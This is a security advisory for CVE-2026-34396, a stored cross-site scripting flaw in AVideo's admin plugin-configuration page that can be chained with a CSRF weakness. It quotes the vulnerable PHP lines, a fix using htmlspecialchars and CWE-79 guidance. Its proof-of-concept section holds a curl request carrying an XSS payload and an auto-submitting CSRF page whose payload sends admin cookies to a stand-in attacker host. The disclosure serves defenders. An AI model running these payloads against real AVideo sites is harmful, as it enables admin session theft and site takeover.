GHSA-v4h7-3x43-qqw4 CVE-2026-34396

AVideo has Stored XSS via Unescaped Plugin Configuration Values in Admin Panel

Medium Packagist

Severity: 6.1 / 10; Medium · CVSS 3.1
Exploit chance (EPSS): 0.23%; Chance of exploitation in the next 30 days. Higher than 13.28% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix: None yet; No fixed version published

Description

Summary

The AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.

This vulnerability chains with AVI-046 (CSRF on save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.

Details

The jsonToFormElements() function in admin/functions.php contains multiple unsafe output points where configuration values are rendered without escaping:

Textarea injection (line 47):

// admin/functions.php:47
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>";

The $valueJson->value is placed directly between textarea tags without encoding.

Select option injection (line 55):

// admin/functions.php:55
$html .= "<option value='{$key}' {$select}>{$value}</option>";

Both $key and $value are inserted without encoding, allowing attribute breakout and HTML injection.

Input type and value injection (lines 62-63):

// admin/functions.php:62-63
$html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>";

Both type and value attributes are unescaped, enabling attribute injection.

Fallback input injection (line 75):

// admin/functions.php:75
$html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>";

The raw $valueJson string is placed into the value attribute without encoding.

Configuration values are saved via admin/save.json.php, which lacks CSRF token validation.

Proof of Concept

Method 1: Direct exploitation (requires admin session)

# Store XSS payload in a plugin configuration value
# The endpoint uses pluginName and direct field names as parameters
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  -X POST "https://your-avideo-instance.com/admin/save.json.php" \
  -d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"

When any admin visits the plugin configuration page, the payload fires.

Method 2: Cross-origin chain with CSRF (no authentication required)

Create the following HTML page and trick an admin into visiting it:

<!DOCTYPE html>
<html>
<head><title>AVI-033 + AVI-046 Chain PoC</title></head>
<body>
<h1>Loading...</h1>
<form id="xss" method="POST"
      action="https://your-avideo-instance.com/admin/save.json.php">
  <input type="hidden" name="name" value="Gallery" />
  <input type="hidden" name="parameter" value="description" />
  <input type="hidden" name="value"
         value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" />
</form>
<script>document.getElementById('xss').submit();</script>
</body>
</html>

The payload breaks out of the value attribute in the rendered input element:

<!-- Rendered HTML in admin panel -->
<input class='form-control' type='text'
       value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus=''
       name='description' id='description'/>

Impact

An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:

Steal admin session cookies and CSRF tokens
Create new admin accounts
Modify site configuration (enable file uploads, disable security features)
Inject persistent JavaScript into public-facing pages via site-wide settings
Pivot to server-side code execution via plugin upload functionality
CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Severity: High

Recommended Fix

Apply htmlspecialchars($value, ENT_QUOTES, 'UTF-8') to all user-controlled values rendered in admin/functions.php:

// admin/functions.php:47 - textarea content
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "</textarea>";

// admin/functions.php:55 - select option
$html .= "<option value='" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . "' {$select}>" . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . "</option>";

// admin/functions.php:62-63 - input type and value
$html .= "<input class='form-control' type='" . htmlspecialchars($valueJson->type, ENT_QUOTES, 'UTF-8') . "' value='" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";

// admin/functions.php:75 - fallback input
$html .= "<input class='form-control' type='text' value='" . htmlspecialchars($valueJson, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";

Found by aisafe.io

Affected versions

Packagist

Package	Vulnerable	Fixed in
wwbn/avideo	`<= 26.0`	No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 6.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack vector: Network
Attack complexity: Low
Privileges required: None
User interaction: Required
Scope: Changed
Confidentiality: Low
Integrity: Low
Availability: None

Weakness

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it

Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Advisories

nvd.nist.gov/vuln/detail/CVE-2026-34396

Packages

github.com/WWBN/AVideo

Timeline

Mar 31, 2026 Published
Jul 24, 2026 Last updated by the source
Nov 1, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel	Medium	Also affects wwbn/avideo
GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink	High	Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data	Medium	Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration	High	Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions	Medium	Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin	Critical	Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section	Medium	Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination	Medium	Also affects WWBN/AVideo

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